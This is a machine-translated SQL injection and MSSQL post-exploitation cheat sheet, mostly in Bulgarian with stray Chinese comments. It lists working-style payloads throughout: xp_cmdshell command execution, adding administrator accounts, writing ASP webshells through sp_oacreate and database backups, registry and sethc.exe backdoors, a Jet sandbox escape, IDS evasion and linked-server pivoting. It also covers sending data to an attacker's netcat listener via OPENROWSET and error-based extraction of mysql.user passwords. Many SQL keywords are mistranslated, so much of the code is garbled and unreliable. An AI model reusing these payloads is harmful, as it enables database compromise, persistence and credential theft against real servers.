; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell директор C:\; –
; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell директор C:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; Вмъкнете в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Приложими правомощия

ПУБЛИЧНО)
Запиши на таблицата:
формулировка 1: и 1=(Изберете IS_blank>_SRVROLEMEMBER(sysadmin)); –
Изявление 2: и 1=(Изберете IS_blank>_SRVROLEMEMBER(serveradmin)); –
Изявление 3: и 1=(Изберете IS_blank>_SRVROLEMEMBER(setupadmin)); –
Изявление 4: и 1=(Изберете IS_blank>_SRVROLEMEMBER(securityadmin)); –
Изявление 5: и 1=(Изберете IS_blank>_SRVROLEMEMBER(securityadmin)); –
Оператор 6: и 1=(Изберете IS_blank>_SRVROLEMEMBER(diskadmin)); –
Изявление 7: и 1=(Изберете IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Изявление 8: и 1=(Изберете IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Изречение 9: и 1=(Изберете IS_blank>_MEMBER(db_blank>_owner)); –

Запиши пътя към таблицата:
; Create table dirs(Paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree c:\–
и 0<>(изберете топ 1 пътя от директорите)–
и 0<>(изберете топ 1 пътя от директорите, където пътищата не са в(@Inetpub))–
; Create table dirs1(Paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
и 0<>(изберете топ 1 пътя от директора 1)–

Архивирайте базата данни _blank> уеб директория: Изтеглете
; обяви @a sysname; set @a=db_blank>_name(); Архивиране на база данни @a към disk=e:\web\down.bak; –

и 1=(Изберете име на топ 1 от(Изберете топ 12 id, име от sysobjects, където xtype=char(85)) T

Ред по ID desc)
и 1=(Изберете Топ 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) от sysobjects) Вижте още

Свързани таблици.
и 1=(изберете user_blank>_id от USER_blank>_LOGIN)
и 0=(изберете потребител от USER_blank>_LOGIN, където user>1)

-=- пример за wscrip{filter}t.shell -=-
обявявам @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
изпълнителен sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

НУЛ, notepad.exe–

обявявам @o int, @f int, @t int @ret int
Обяви @line Варчар(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
Exec @ret = sp_blank>_oamethod @f, readline, @line out
докато ( @ret = 0 )
Начало
печат @line
Exec @ret = sp_blank>_oamethod @f, readline, @line out
край

обявявам @o int, @f int, @t int @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, създам AteTextfile, @f излез, C:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>

обявявам @o int @ret int
Изпълнител sp_blank>_oacreate Speech.Voicetext, @o
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Изпълнителен sp_blank>_oasetproperty @o, скорост, 150
изпълнителен sp_blank>_oamethod @o, говори, NULL, всички ваши сървъри за продължения принадлежат на, us, 528
чакане за забавяне 00:00:05

; Declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, регистър, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, говори, NULL, всички ваши сървъри за продължения са наши, 528 чакайте забавяне

00:00:05–

xp_blank>_dirtree приложимото ПУБЛИЧНО разрешение
exec master.dbo.xp_blank>_dirtree c: Върнатата информация има две полета: поддиректория, дълбочина. Полета в поддиректорията

Тип символ, дълбочинното поле е оформящото поле.
Create Table Dirs(Paths varchar(100), ID int)
Изграждане на таблици, таблицата, създадена тук, е свързана с горната xp_blank>_dirtree, с равни полета и един и същ тип.
вмъкнете директори exec master.dbo.xp_blank>_dirtree c: Стига да изградим таблица и да дефинираме полетата, върнати от процеса на съхранение, еднакво

Екзекуция! За да постигнем ефекта на писането на таблици, стъпка по стъпка да постигнем информацията, която искаме!
Тази инжекция на грешка се базира основно на препълване на MySQL тип данни
    mysql > SELECT 18446744073709551610 * 2 ;
    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(- (1) *

9223372036854775808)'
Версия на базата данни за заявки:
    mysql> SELECT * 2 (if ((SELECT * от (SELECT (версия ()) ) s), 18446744073709551610,

18446744073709551610));
    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * ако (( Изберете ' 5.5 'от

Dual), 18446744073709551610.18446744073709551610)'
Вземете името на полето:
    mysql> SELECT 2 * if((SELECT * от (select * от test.shop) като '' limit 1)>(SELECT * от

test.shop лимит 1), 18446744073709551610, 18446744073709551610);

    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if(((select

'article', 'dealer', 'price' от (изберете 'test'.'shop'.'article' AS

'артикул','тест'.'магазин'.'дилър' AS 'дилър','тест'.'магазин'.'цена' AS 'цена' от

'тест'.'магазин') ограничение 1) > (select

'тест'.'магазин'.'артикул','тест'.'магазин'.'дилър','тест'.'магазин'.'цена' от 'тест'.'магазин'

1)),18446744073709551610,18446744073709551610))'
Вземете стойността на полето:

    mysql> SELECT 2 * if((SELECT * от (select * от (mysql.user) LIMIT 1) като '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if(((select

'местен хост','рут','*','Y','Y','Y','

Y','Y','Y','Y','Y','Y',','',0,'0,0,''',' ОТ DUAL LIMIT 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Обърнете внимание, че този метод не работи с по-стари версии на Mysql и ще трябва да знаете дължината на съобщението за грешка, тъй като това ще определи

Можеш да получиш колкото време искаш:
    mysys / my_error.c

    /* Максимална дължина на съобщение за грешка. Трябва да се поддържа в синхрон с MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Ако обектът е MariaDB (разклонение на Mysql), може да видите подобно съобщение за грешка, когато опитате горния метод:

    mysql> SELECT 2*(if((SELECT * от (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Като решение, този проблем може да бъде решен по следния начин:

    mysql> SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a;
    ГРЕШКА 1690 (22003): BIGINT стойността е извън обхвата в '(('5.5-MariaDB' не е нулев) - -

(9223372036854775808))'
Сега нека видим дали можем да направим нашия Вектор малко по-къс

//查询数据库版本

    ИЗБЕРЕТЕ 2*(if((SELECT * от (SELECT (версия()))s), 18446744073709551610,

18446744073709551610))
    =
    изберете 1E308*if((select*from(select version())x),2,2)

    SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * от (select * от test.shop) като '' limit 1)>(SELECT * от

test.shop лимит 1), 18446744073709551610, 18446744073709551610)
    =
    изберете 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * от (select * от (mysql.user) LIMIT 1) като '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user лимит 0),2,2)
//获取指定字段的值
    изберете 1E308*if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT

1) лимит 1),2,2)
//获取字段个数


    изберете 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Някои други деформации

    SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a
    изберете 1E308*if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT

1) лимит 1),2,2);
    =>
    изберете 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a лимит

1),1e308,0);
    mysql> select (select * от mysql.user)=1;
    mysql> Select (Select * от mysql.user)in(1);

    ГРЕШКА 1241 (21000): Операндът трябва да съдържа 42 колони
    изберете 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a лимит

1),1e308,0);
    Изберете if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT 1)a

ограничение 1),2,2)*1E308
    SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '((not('root@localhost')) - ~

(0))'
3. Оценете системата с бази данни
; и (select count(*) от sysobjects)>0 mssql
; и (select count(*) от msysobjects)>0 достъп
4. Параметърът за инжекция е символ
'и [критерии за заявка] и ''='
5. Няма филтрирани параметри по време на търсенето
'и [критерии за заявка] и '%25'='
6. Познай базата данни
; и (изберете Count(*) от [име на база данни])>0
7. Познай полето
; и (изберете Count(име на поле) от името на базата данни)>0
8. Познайте дължината на рекорда в полето
; и (изберете топ 1 len (име на полето) от името на базата данни)>0
9. (1) Познайте ASCII стойността на полето (достъп)
; и (изберете топ 1 ASC (среден (име на терена, 1,1)) от името на базата данни)>0
(2) Познайте ASCII стойността на полето (mssql)
; и (изберете топ 1 Unicode(подниз(име на полето, 1,1)) от името на базата данни)>0
10. Структура за тестови разрешения (mssql)
; и 1=(select IS_SRVROLEMEMBER('sysadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('serveradmin')); --
; и 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('securityadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('diskadmin')); --
; и 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; и 1=(select IS_MEMBER('db_owner')); --
11. Добавете акаунт за mssql и системата
; изпълнителен master.dbo.sp_addlogin потребителско име; --
; exec master.dbo.sp_password null, потребителско име, парола; --
; изпълнителен master.dbo.sp_addsrvrolemember sysadmin потребителско име; --
; изпълнител master.dbo.xp_cmdshell 'net потребителско име парола /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Изпълнителен master.dbo.xp_cmdshell 'Net User Name Password /add'; --
; изпълнителен master.dbo.xp_cmdshell 'потребителско име /add' на администраторите на локалните групи; --
12. (1) Разгледайте каталога
; Create Table Dirs(Paths varchar(100), ID int)
; Вмъкнете директори exec master.dbo.xp_dirtree 'c:\'
; и (изберете топ 1 пътя от директорите)>0
; и (изберете топ 1 пътя от директорите, където пътищата не са в ('пътища, получени от предишната стъпка'))>)
(2) Разгледайте каталога
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; вмъкнете временен изпълнителен master.dbo.xp_availablemedia; -- Вземи всички текущи дискове
; Вмъкнете в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Вземи списък с поддиректории
; вмъкнете в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Вземи структурата на дървото на директорията за всички поддиректории
; Вмъкнете в temp(id) exec master.dbo.xp_cmdshell 'тип C:\web\index.asp'; -- Вижте съдържанието на файла
13. Съхранени процедури в mssql
xp_regenumvalues Коренов ключ на регистъра, дъщерен ключ
; изпълнителен xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' и още

Методът на Recordset за връщане на всички ключови стойности
xp_regread Коренов ключ, дъщерен ключ, име на стойността на ключа
; изпълнителен xp_regread 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows

\CurrentVersion','CommonFilesDir' връща стойността на ключа за формулиране
xp_regwrite Коренов ключ, детски ключ, име на стойност, тип стойност, стойност
Съществуват два типа стойности REG_SZ REG_DWORD за типове знаци и за цели числа
; изпълнителен xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' се записват в регистъра
xp_regdeletevalue Коренов ключ, подключ, име на стойността
изпълнителен xp_regdeletevalue 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows

\CurrentVersion', 'TestvalueName' за премахване на стойност
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' за изтриване на ключ,

Включи всички стойности под този ключ
14. MSSQL архивиране създава уебшел.
Модел на използване
създаване на таблица cmd (STR изображение);
вмъкнете в cmd(str) стойности ('<% Dim oscrip{filter}t %>');
резервен модел на база данни към disk='c:\l.asp';
15. MSSQL вградени функции
; и (изберете @@version)>0, за да получите номера на версията на Windows
; и user_name()='dbo', за да се определи дали свързаният потребител на текущата система е SA
; и (изберете user_name())>0 Експлодираха свързаните потребители на текущата система
; и (изберете db_name())>0, за да получите текущо свързаната база данни
16. Кратка уяжина обвивка
Модел на използване
създаване на таблица cmd (STR изображение);
Вмъкнете в cmd(str) стойности ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Backup модел на база данни към disk='g:\wwwtest\l.asp';
Когато заявявате, използвайте нещо такова:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Вземете всички имена на бази данни, включително системни бази данни
–ИЗБЕРЕТЕ име от master.dbo.sysdatabases

Получаване на всички имена на бази данни, които не са системни
–изберете [име] от master.dbo.sysdatabases, където DBId>6 Подреждане по [Име]

Вземете цялата информация, включително адреса на файла с база данни
–изберете * от master.dbo.sysdatabases, където DBId>6 Order By

[Име]



Тази заявка за изказване връща всички потребителски таблици

Изберете * от sysobjects, където xtype='U'


Заявете за цялата информация от таблиците с данни в системата

select * от sysobjects



Виж името на машината
Изберете * от sys.servers





Съдържание на колоната
изпълнителен master.dbo.xp_subdirs 'C:\'


Изпълнителен master.dbo.xp_dirtree 'C:',1,1 db_owner
Разрешенията могат да се прилагат


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Програмен код, написан в webshell


изпълнителен master.dbo.xp_subdirs 'd:\web\www.xx.com';
Изпълнителният sp_makewebtask 'д:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Екзекуцирай, господарю.. xp_enumgroups  


Потребители на системата за преминаване


Екзекуцирай, господарю.. xp_getnetname
Вземете текущото име на машината


--Изброете фиксираните дискове на сървъра, заедно с наличното пространство за всеки диск
   DBO Public


Execute

xp_ntsec_enumdomains


--
Създайте акаунт за влизане в MSSQL
изпълнителен master.dbo.sp_addlogin име, пропуск; --






--
Посочете домейн името на сървъра
xp_ntsec_enumdomains //
Машинно име //dbo публично


--
Спиране или стартиране на услуга
xp_servicecontrol 'stop', 'schedule' //schedule е името на услугата //dbo


--Използвай PID

Спиране на изпълняваща се програма
xp_terminate_process 123 //123 е PID //dbo


--
Само поддиректории в директория са изброени
dbo.xp_subdirs 'C:' //dbo


SQL сървър
Методът на откриване на xp_cmdshell през 2005 г.
EXEC sp_configure "показване на разширени опции", 1; ПРЕКОНФИГУРИРАНЕ; EXEC

sp_configure 'xp_cmdshell', 1; ПРЕКОНФИГУРИРАНЕ;

SQL2005 Open 'OPENROWSET'
Поддържани методи:
Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; изпълнителен sp_configure 'Ad Hoc

Разпределени запитвания',1; ПРЕКОНФИГУРИРАНЕ;

SQL2005 да се активира поддръжката на 'sp_oacreate':
Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; Изпълнителен директор

sp_configure "Процедури за старата автоматизация", 1; ПРЕКОНФИГУРИРАЙТЕ





Как да активирам xp_cmdshell в SQL Server 2008


-- Да позволи промяна на разширени опции.
EXEC

sp_configure 'покажи разширени опции', 1
ВЪРВИ
-- За актуализиране на текущо конфигурираната стойност за

Разширени опции.
ПРЕКОНФИГУРИРАЙТЕ
ВЪРВИ
-- За да активира функцията.
EXEC sp_configure 'xp_cmdshell', 1
ВЪРВИ
-- Към

Актуализирайте текущата конфигурирана стойност за тази функция.
ПРЕКОНФИГУРИРАЙТЕ
ВЪРВИ


exec xp_cmdshell 'ipconfig'



Днес исках да сменя паролата за SA на сървъра на базата данни, но изведнъж забравих, затова трябваше да отворя анализатора на заявки с помощта на други акаунти, за да сменя паролата за SA

Много е просто:


Изпълнение:
sp_password Null, 'teracypwd, 'sa'
Задайте паролата за SA на "teracypwd"


След успешна екзекуция

Има "Команда(и) успешно изпълнени."  Добре!








В разрешението за база данни отделете метода за получаване на IP адреса на сървъра на MSSQL база данни


1. Local NC слуша NC -VVLP 80


2.; вмъкнете в

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Мрежа=DBMSSOCN; Адрес=вашият IP адрес, 80; ', 'избери * от

dest_table') изберете * от src_table; --


Изберете * от OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','Изберете потребител; ')





Импорт и експорт от база данни

/*不同服务器数据库之间的数据操作*/

--Създаване на линк сървър
Изпълнителен sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Име или IP адрес на отдалечен сървър'
изпълнителен sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'потребителско име', 'парола'

--пример за заявка
select * от име на ITSV.database name.dbo.table

--пример за импорт
select *

в таблица от ITSV.databasename.dbo.tablename

--Изтрийте свързания сървър, ако вече не се използва в бъдеще
изпълнителен sp_dropserver 'ITSV',

'droplogins'

--
Свързване към отдалечени/LAN данни (openrowset/openquery/opendatasource)
--1、openrowset

--пример за заявка
select *

от openrowset( 'SQLOLEDB ', 'име на sql сървър'; "Потребителско име"; 'password', име на база данни.dbo.table name)

--
Генериране на локална таблица
изберете * в таблицата от openrowset( 'SQLOLEDB ', 'име на SQL сървър'; "Потребителско име"; "Парола", номер

Според името на базата данни.dbo. име на таблицата)

--
Импортирайте локалната таблица в отдалечената таблица
вмъкнете openrowset( 'SQLOLEDB', 'име на sql сървър'; "Потребителско име"; "Пароли", бази данни

name.dbo.table name)
Изберете *от локалната таблица

--
Актуализиране на локалните таблици
Актуализация Б
набор b. колона A = a
от openrowset( 'SQLOLEDB ', 'име на sql сървър'; "Потребителско име"; '

парола ', име на базата данни .dbo.table name) като вътрешна присъединена локална таблица b
на a.column1=b.column1

--openquery
Използването изисква създаване на връзка

--Първо, създай връзка, за да създадеш сървър за връзки
изпълнителен sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'име или IP адрес на отдалечен сървър'
--Разпитвай
select *
ОТ openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Импортирайте локалната таблица в отдалечената таблица
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Изберете * от местно

Таблица
--обнови локалната таблица
Актуализация Б
набор b. колона B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

Като  
вътрешна съединителна локална таблица b върху a. колона A=b. колона A

--3、opendatasource/openrowset
SELECT *
ОТ   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; User ID=Име на вход; Парола=Парола '

).test.dbo.roy_ta
--
Импортирайте локалната таблица в отдалечената таблица



Изтриване и възстановяване на xp_cmdshell


Начини за възстановяване xp_cmdshell   
Изтрийте разширената съхранена процедура xp_cmdshell

Формулировка   
Изпълнителен sp_dropextendedproc 'xp_cmdshell'   



Възстановяване на SQL изявлението на cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Изпълнителен директор

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; изберете брой(*) от

master.dbo.sysobjects, където xtype='x' и   
Резултатът за връщане е 1 и е ОК   


В противен случай трябва да качите c:\inetput\web

\xplog70.dll по-късно   
Изпълнителен master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Ако го изтриеш по следния начин   
Процедура за пускане sp_addextendedproc   
Процедура за пускане sp_oacreate   
Изпълнителен директор

sp_dropextendedproc 'xp_cmdshell'   



Можете да го възстановите с следното изявление   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

По този начин тя може да бъде възстановена директно, независимо дали sp_addextendedproc съществува или не






1、
Използвайте xp_cmdshell:
          изпълнител master.dbo.xp_cmdshell "net user admin admin /add"
          Изпълнителен директор

master.dbo.xp_cmdshell "администратори на мрежови локални групи admin /add"

В xp_cmdshell случай използвайте sp_oacreate, за да следвате sp_oamethod:
          Обявявам @object int   
          Изпълнителен директор

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          Изпълнителен sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

Администратори на локални групи admin /add'

Забележка: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Използвайте sp_oacreate и FSO
          обявявам @o int
          Изпълнителен sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          Exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Декларирай @oo int
          Изпълнителен директор

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Изпълнителен sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Използвайте xp_regwrite (db_owner, изисква се рестарт):
          Изпълнителен master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Изпълнителен master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Използвайте sp_add_job:
          Изпълнителен директор

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          Използвайте MSDB Exec sp_delete_job

null, 'x'
          Изпълнителен sp_add_job 'X'
          Изпълнителен sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin /add'
          Изпълнителен sp_add_jobserver

Null, 'x', @@servername изпълнителен sp_start_job 'x'















Много SA са успели в много машини директно с пясъчния режим, но аз никога не съм го практикувал и не знам какъв е процентът на успех. Когато удължението бъде премахнато, първо

Възстановете паметта за четене и запис в регистъра.
DBCC AddExtendedProc ("xp_regread','xpstar.dll')
dbcc addextendedproc

('xp_regwrite','xpstar.dll')



Поправен е защитеният режим на пясъчника
Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Вижте дали стойността 'SandBoxMode' се е обърнала на 0.


изпълнителен master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'СОФТУЕР

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Накрая, извикай пясъчника режим
Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Ако режимът за защита на пясъчника не е "изключен", се докладва грешка:
          Сървър: Msg 7357, Ниво 16, Състояние 2, Линия 1

Не успя да обработи обекта 'select shell("cmd.exe /c net user passwd /add")'. OLE DB предоставя програми

Предговорът 'microsoft.jet.oledb.4.0' посочва, че в обекта няма колони.

Проследяване на грешки в OLE DB [Грешка извън интерфейса: доставчикът на OLE DB не може да обработи обекта, тъй като обектът

има nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Ако .mdb не съществува или входният път е неправилен
           Сървър: Msg 7399, ниво 16, състояние 1, линия 1

OLE DB provider 'microsoft.jet.oledb.4.0' грешка.
            [Отговорено съобщение от OLE/DB доставчика:

Файлът 'C:\WINDOWS\system32\ias\dnary1.mdb' не е намерен. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Ако по време на процеса на въвеждане има повече празни места, ще бъде докладвана и грешка. Обърнете специално внимание на това, много хора директно търсят статии онлайн

Поставете го и го изпълнете.
          Сървър: Msg 7357, Ниво 16, Състояние 2, Линия 1
          Не успя да обработи обекта 'select'

shell("cmd.exe /c net user user, passwd /add")'。
Доставчикът на OLE DB 'microsoft.jet.oledb.4.0' посочва, че в обекта няма колони.

Проследяване на грешки в OLE DB [Грешка извън интерфейса:
OLE DB доставчикът не може да обработи обекта, тъй като обектът има

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c потребител на мрежата

passwd /add")']。


4、
Ако разрешенията на mdb и cmd.exe разрешения са грешни, ще възникне и проблемът.
          Когато разрешенията на MDB са неправилни,
           Сървър: Елиминирай

Лихва 7320, ниво 16, щат 2, линия 1

Той не можа да отговори
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' изпълнява заявката.
           [OLE/DB доставчикът е върнат

message: 未知]
           OLE DB Error Trace [OLE/DB provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Ако разрешението за мрежата е неправилно, няма подсказка.

Последният начин за повишаване на авторитета е да се качат системните ias.mdb и cmd.exe под текущата уеб директория, net.exe три файла.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe потребител passwd /add")')
          Успешно добавете компютърен потребител.






Разделянето на cmdshell заобикаля IDS         
Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Обяви

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Редакция: изместване на отвличане на регистъра
Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows NT

\ТекущаВерсия\Опции за изпълнение на файл на изображение\sethc.exe','дебъгер','REG_sz','c:\windows

\system32\cmd.exe on'; --



Направете заявка към linkserver-а
отбран

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess от master.dbo.sysservers
отбран

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess от master.dbo.sysservers



Query linkserver2
Изберете различно име на хоста,db_name(dbid),net_address,loginame,program_name от

Учителю.. sysprocesses



Направете заявка към linkserver-а
и други влезли потребители
изберете * от [192.168.1.1].master.dbo.syslogins



Query LinkServer
Всички бази данни
select * от linkedSrvWeb.master.dbo.sysdatabases



Изпълнение на разширено съхранение в LinkServer
Exec [IP].master.dbo.xp_cmdshell



Заявете всички таблици на linkserver-а
Изберете * от [ip].master.dbo.sysobjects








Изберете * от OpenRowset

('sqloledb','server=IP; uid=потребител; pwd=парола','изберете @@version')


select * от openquery([LINKSERVER)

име],'изберете @@version')




select * от openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin''')')




select * от openquery(GM_SERVER,'select * от sysobjects, където xtype = (''U'')')


изберете * от

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Изберете * от OpenQuery(toatdeWeb,'Select

srvname от master.dbo.sysservers')


Вмъкнете в opendatasource

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

Име от master.dbo.sysdatabases
create database hack520 Create TABLE zhu(name nvarchar(256)

null); Създайте ТАБЛИЦА J8(id int NULL, име nvarchar(256) null);


Select * от openQuery

(toatdeweb, изключи FMTONLY изпълнителния master.dbo.xp_cmdshell ''net user''')


Изпълнителен майстор... xp_dirtree

'c:\',1,1
Изпълнете директория с заявки


exec links.master.. xp_cmdshell 'ipconfig'


Изберете * от OpenQuery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Свържи mysql Select * от Mem_DB. UserDB.dbo.AdminList


ИЗПЪЛНИТЕЛЕН МАЙСТОР... XP_dirtree 'c:\',1,1




Изпълнител

master.dbo.xp_cmdshell 'дир'


Изберете брой(*) от [индикация]
Запитай колко данни има в текущата таблица




Изберете различно име на хост,db_name(dbid),net_address,loginame,program_name

От господаря.. sysprocesses






Изберете * от gameDB01. Server01.dbo.cabal_character_table, където име='

Свиня





Когато го изтриеш, пише: Базата данни се използва и не може да бъде изтрита.


Кликнете върху базата данни, която искате да изтриете, за да отворите Event Viewer.


Входни данни:


Употреба   

Господарю
Върви
След това въведете следното:
Обяви @d Вархар (8000)
set @d= ' '
изберете @d=@d+ ' убий   

'+cast (Спид като Варчар)+Чар(13)
